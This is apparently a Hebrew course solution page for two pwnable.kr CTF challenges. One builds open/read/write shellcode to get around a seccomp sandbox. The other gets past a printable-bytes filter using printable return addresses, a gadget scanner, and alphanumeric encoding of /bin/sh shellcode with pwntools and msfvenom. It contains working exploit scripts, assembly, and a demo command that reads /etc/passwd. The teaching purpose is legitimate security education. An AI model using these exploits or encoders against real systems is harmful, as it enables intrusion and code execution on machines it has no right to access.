לדלג לתוכן

3.3 shellcode מוגבל פתרון

פתרון - shellcode מוגבל

נעבור על התרגילים לפי הסדר. שני האתגרים מלמדים את אותו לקח מזוויות שונות: shellcode לא חייב להיות "טהור", הוא חייב להתאים למגבלה. ב-asm המגבלה היא על קריאות המערכת, וב-ascii_easy על הבתים ועל הכתובות.

פתרון תרגיל 1 - מיפוי ארגז החול

הלב של asm.c הוא הפונקציה sandbox, שמתקינה seccomp עם מדיניות הריגה כברירת מחדל ורשימת היתר קצרה:

void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);      // default: kill
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);
}

מריצים את הכלי כדי לאמת:

$ seccomp-tools dump ./asm
 line  CODE  JT   JF      K
=================================
 ...
 0006: 0x15 0x00 0x01 0x00000002  if (A == open)  goto ALLOW
 0008: 0x15 0x00 0x01 0x00000000  if (A == read)  goto ALLOW
 0010: 0x15 0x00 0x01 0x00000001  if (A == write) goto ALLOW
 0012: 0x15 0x00 0x01 0x0000003c  if (A == exit)  goto ALLOW
 ...
 0015: 0x06 0x00 0x00 0x00000000  return KILL

תשובות:

  1. רשימת ההיתר: open, read, write, exit, exit_group. ברירת המחדל: SCMP_ACT_KILL.
  2. הפלט תואם: כל קריאה מותרת מנותבת ל-ALLOW, וכל השאר ל-KILL.
  3. execve אינו מותר. לכן אי אפשר לפתוח shell. במקום זה נקרא את הדגל בעצמנו: open -> read -> write.
  4. במקור מופיע הנתיב הארוך של הדגל, והקלט נקרא כך:
read(0, sh+offset, 1000);   // read, not strcpy -> zero bytes allowed

כיוון שהקלט נכנס דרך read, בתי אפס ב-shellcode שלנו הם בסדר. זה משחרר אותנו לכתוב הוראות רגילות בלי לדאוג לקידוד null-free.

למה זה עבד: seccomp-tools תרגם לנו את מסנן ה-BPF לרשימה קריאה. ברגע שראינו ש-execve הורג ו-open/read/write מותרים, כל האסטרטגיה נגזרה מעצמה.

פתרון תרגיל 2 - shellcode של open/read/write

קודם הגרסה הידנית, כדי להבין כל שורה. נתיב הדגל האמיתי באתגר הוא ארוך, אז להמחשה נדגים את המבנה עם נתיב מקוצר, ובגרסת pwntools נשתמש בנתיב המלא:

_start:
    ; open(path, O_RDONLY)
    xor  rdx, rdx
    push rdx                       ; terminates the string with zero
    ; ... here we push the path 8 bytes per push, in reverse order ...
    mov  rdi, rsp                  ; rdi -> path
    xor  rsi, rsi                  ; O_RDONLY
    xor  rax, rax
    mov  al, 2                     ; SYS_open
    syscall                        ; rax = fd

    ; read(fd, rsp-0x100, 0x100)
    mov  rdi, rax
    mov  rsi, rsp
    sub  rsi, 0x100
    mov  rdx, 0x100
    xor  rax, rax                  ; SYS_read
    syscall

    ; write(1, buf, n)
    mov  rdx, rax
    mov  rsi, rsp
    sub  rsi, 0x100
    xor  rdi, rdi
    mov  dil, 1                    ; stdout
    xor  rax, rax
    mov  al, 1                     ; SYS_write
    syscall

    ; exit(0)
    xor  rax, rax
    mov  al, 60
    syscall

בפועל, לדחוף נתיב של יותר ממאה תווים ביד זה מסורבל ומזמין טעויות. נותנים ל-pwntools לעשות את זה. הנה ה-exploit המלא מול השרת:

from pwn import *

context.arch = 'amd64'
context.os   = 'linux'

# the exact path from asm.c
flag_path = '/home/asm/this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooong'

sc  = shellcraft.open(flag_path)            # fd -> rax
sc += shellcraft.read('rax', 'rsp', 0x100)  # reads from fd into rsp
sc += shellcraft.write(1, 'rsp', 0x100)     # prints to stdout
sc += shellcraft.exit(0)

payload = asm(sc)
log.info('shellcode length: %d', len(payload))
print(disasm(payload))                      # verify: only open/read/write/exit

p = remote('pwnable.kr', 9026)
p.recvuntil(b'shellcode: ')
p.send(payload)
print(p.recvall(timeout=3).decode(errors='ignore'))

לפני שרצים על השרת, בודקים מקומית שאנחנו באמת בתוך המגבלה. רתמת בדיקה קטנה ב-C שמתקינה seccomp זהה, קוראת shellcode מהקלט, ומריצה אותו מעמוד RWX:

// harness.c -> gcc harness.c -o harness -lseccomp
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <seccomp.h>

int main(){
    unsigned char *sh = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
                             MAP_ANON|MAP_PRIVATE, -1, 0);
    int n = read(0, sh, 0x1000);            // receives shellcode from stdin

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit),  0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_load(ctx);

    ((void(*)(void))sh)();
    return 0;
}

יוצרים קובץ דגל מקומי בשם המתאים, מזרימים את ה-shellcode לרתמה, ורואים שהדגל מודפס. אם התהליך מת עם Bad system call (אות SIGSYS), סימן שהשתמשתם בקריאה חסומה - חוזרים ל-disasm ומאתרים אותה.

הרצה מול השרת מדפיסה את הדגל:

[+] Opening connection to pwnable.kr on port 9026: Done
...
FLAG{...}

למה זה עבד: החלפנו את המטרה. במקום execve (חסום), עשינו open/read/write שכולם ברשימת ההיתר. pwntools בנה את דחיפת הנתיב הארוך בשבילנו, ובדקנו עם disasm והרתמה שלא נכנסה שום קריאה חסומה. איך להכליל: מול כל seccomp, ממפים את רשימת ההיתר עם seccomp-tools, ובונים את הפעולה הרצויה אך ורק מהקריאות המותרות. אם open חסום אבל openat מותר - עוברים ל-openat. אם קריאה וכתיבה מותרות אבל אין open, מחפשים אם כבר יש fd פתוח.

פתרון תרגיל 3 - למה shellcode רגיל נופל בפילטר

המקור של ascii_easy מכיל את הפילטר ואת הoverflow:

int is_ascii(int c){ if(c >= 0x20 && c <= 0x7f) return 1; return 0; }

void vuln(char* p){
    char buf[20];
    strcpy(buf, p);            // overflow: no length check
}

בדיקת ההגנות:

$ checksec ./ascii_easy
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       ...
PIE:      No PIE (0x8048000)

זה בינארי 32 ביט בלי canary ובלי PIE. הreturn address נדרסת על ידי הoverflow ב-strcpy, אבל כל בית בקלט חייב לעבור את is_ascii (טווח 0x20-0x7f).

מוצאים את ההיסט להreturn address:

$ gdb ./ascii_easy
pwndbg> run $(python3 -c "print('A'*100)")
...
pwndbg> cyclic 100
pwndbg> run $(python3 -c "import sys; sys.stdout.write(open('/dev/stdin').read())" <<< "$(cyclic 100)")
# at the crash: read EIP
pwndbg> cyclic -l 0x6161616c

התוצאה נותנת את ההיסט מתחילת buf עד הreturn address (בבינארי הזה בסביבות 20 בתים buffer ועוד כמה לפי הalignment).

עכשיו הניסיון ה"תמים": נבנה payload שהreturn address בו מצביעה לbuffer על המחסנית, למשל 0xffffd6c0:

payload = b'A'*offset + p32(0xffffd6c0)
# p32(0xffffd6c0) = b'\xc0\xd6\xff\xff'

הבתים 0xc0, 0xd6, 0xff, 0xff כולם מחוץ לטווח 0x20-0x7f. התוכנית תדפיס you have non-ascii byte! ותצא עוד לפני שהoverflow בכלל תרוץ. זה בדיוק הקיר: לא רק ה-shellcode, גם הreturn address חייבת להיות מודפסת. כתובות מחסנית טיפוסיות (0xffff...) פסולות מיסודן.

למה זה עבד (או ליתר דיוק, למה זה נכשל): הפילטר בודק את כל הבתים, כולל אלה של הכתובת. כתובות מחסנית וכתובות קוד רגילות מכילות בתים גבוהים (0xff, 0x08) שאינם מודפסים. לכן הכיוון הנאיבי מת, ואנחנו נאלצים לחפש return address שכל בתיה מודפסים - וזה תרגיל 4.

פתרון תרגיל 4 - כתובת מודפסת שמצביעה לקוד

הרעיון: הבינארי טוען ספרייה בכתובת קבועה (הקבוע BASE, בסביבות 0x5555e000), בלי ש-ASLR מזיז אותה. בתוך הבלוק הגדול הזה יש כתובות שכולן מודפסות, וחלק מהבתים בהן שימושיים. אנחנו מכוונים את הreturn address לכזאת.

קודם מאתרים את בסיס הספרייה בזמן ריצה:

pwndbg> vmmap
0x5555e000 0x556e2000 r-xp  ...   libc_mapped
...

עכשיו סורקים את הספרייה למציאת כתובות מודפסות שמצביעות לגאדג'ט שימושי:

from capstone import Cs, CS_ARCH_X86, CS_MODE_32

BASE = 0x5555e000
data = open('libc_mapped.so', 'rb').read()
md   = Cs(CS_ARCH_X86, CS_MODE_32)

def printable_addr(a):
    return all(0x20 <= b <= 0x7e for b in a.to_bytes(4, 'little'))

for off in range(len(data)):
    va = BASE + off
    if not printable_addr(va):
        continue
    # disassemble the bytes and look for a gadget that jumps to our buffer, or the start of useful shellcode
    for insn in md.disasm(data[off:off+16], va):
        if insn.mnemonic in ('call', 'jmp') and 'esp' in insn.op_str:
            print(hex(va), insn.mnemonic, insn.op_str)
        break

הסורק מסנן רק כתובות שכל בתיהן ב-0x20-0x7e, ומתוכן מחפש גאדג'ט (למשל jmp esp / call esp) שיעביר את הביצוע לbuffer שאנחנו שולטים בו, או רצף שהוא בעצמו shellcode קורא-דגל. ברגע שיש כתובת כזאת, שמים אותה בהreturn address.

כדי לראות את המכניקה עובדת מקצה לקצה, נשתמש בדמו המקומי מהתרגול, שבו ה-shellcode כבר יושב בכתובת המודפסת 0x55552020. קודם מוצאים את ההיסט:

$ gcc -m32 -fno-stack-protector -no-pie -z execstack -o demo_ascii demo_ascii.c
$ gdb ./demo_ascii
pwndbg> run $(cyclic 60)
# at the crash:
pwndbg> cyclic -l $eip        # assume we get 32

וה-exploit:

from pwn import *

context.binary = ELF('./demo_ascii')

offset = 32                    # from cyclic
ret    = 0x55552020            # little-endian: 20 20 55 55 -> all printable

payload = b'A'*offset + p32(ret)
assert all(0x20 <= b <= 0x7e for b in payload), 'there is a non-printable byte in the input!'

p = process(['./demo_ascii', payload])
p.sendline(b'id; cat flag; cat /etc/passwd')
p.interactive()

הרצה פותחת shell (בדמו) או, באתגר האמיתי, מריצה את הרצף שקורא את הדגל:

$ python3 exploit.py
[*] '/.../demo_ascii'
    Arch:     i386-32-little
...
$ id
uid=1000(...) ...

למה זה עבד: לא הזרקנו shellcode משלנו בכלל. השתמשנו בבתים שכבר ישבו בכתובת קבועה וידועה, ובחרנו return address שכל בתיה מודפסים (0x55552020), כדי לעבור את הפילטר. ה-padding מולא ב-'A' (0x41) שגם הוא מודפס. איך להכליל: כשהקלט מסונן לבתים מודפסים ויש ספרייה/מיפוי בכתובת קבועה, שאלת המפתח היא "אילו כתובות מודפסות קיימות במיפוי, ומה יושב בהן". סורקים, מסננים לפי מודפסוּת, ומחפשים בין המועמדים גאדג'ט או shellcode שימושי.

פתרון תרגיל 5 - קידוד אלפאנומרי מלא

כשאין בתים שימושיים בכתובת מודפסת נוחה, וצריך להזריק shellcode משלנו דרך ערוץ שמסנן לבתים מודפסים - מקדדים אותו. מתחילים מ-shellcode רגיל ומקדדים לאלפאנומרי טהור.

דרך 1, עם pwntools:

from pwn import *

context.arch = 'i386'

raw = asm(shellcraft.sh())                         # regular execve("/bin/sh")
enc = encoders.i386.ascii_shellcode.encode(raw)    # printable decoder stub + encoded payload

assert all(0x20 <= b <= 0x7e for b in enc), 'there is still a non-printable byte!'
log.info('raw=%d encoded=%d', len(raw), len(enc))
print(enc)

דרך 2, עם msfvenom:

msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed -f python -v enc
# the output enc is bytes that are all printable; check with the same assert

בדיקת הרצה דרך טוען עם עמוד RWX, בדיוק כמו בשיעור 3.1:

from pwn import *
context.arch = 'i386'

enc = encoders.i386.ascii_shellcode.encode(asm(shellcraft.sh()))
p = run_shellcode(enc)          # runs on an executable page
p.sendline(b'id')
print(p.recvline())
p.interactive()

אם הכול תקין, נפתח shell - למרות שכל בית ב-enc הוא תו מודפס.

תשובות לשאלות ההסבר:

  • ה-decoder stub מניח שרגיסטר מסוים כבר מצביע לתחילת ה-shellcode המקודד (בעיית GetPC). המקדדים דורשים שתגידו להם איזה רגיסטר זה (למשל EAX). המפענח משתמש בו כדי לחשב כתובות, לשכתב בזיכרון את הpayload המפוענח, ואז לקפוץ אליו. אם הרגיסטר לא מצביע נכון, המפענח יכתוב במקום הלא נכון וייכשל.
  • כל הרעיון עובד רק כשהמחסנית/העמוד ניתנים להרצה, כי המפענח בונה את ה-shellcode האמיתי בזמן ריצה ואז מריץ אותו מאותו מקום. אם NX פעיל, הבנייה תצליח אבל ההרצה תיכשל (הגנת הרצה). במקרה כזה קידוד אלפאנומרי לבדו לא מספיק, וצריך לשלב עם ROP מפרק 4.

למה זה עבד: הפילטר בודק רק את הבתים שהוקלדו. ה-decoder stub עצמו בנוי כולו מבתים מודפסים ולכן עובר, אבל בזמן ריצה הוא מייצר את ה-shellcode האמיתי (שאינו מודפס) בזיכרון וקופץ אליו. איך להכליל: קידוד מודפס/אלפאנומרי הוא הכלי לכל ערוץ injection שמסנן בתים - טפסים, שדות שמצפים ל"טקסט", פרוטוקולים טקסטואליים. תמיד מאמתים עם assert שכל בית בטווח המותר, ומוודאים שהאורך המקודד (שגדל) עדיין נכנס במגבלת הקלט.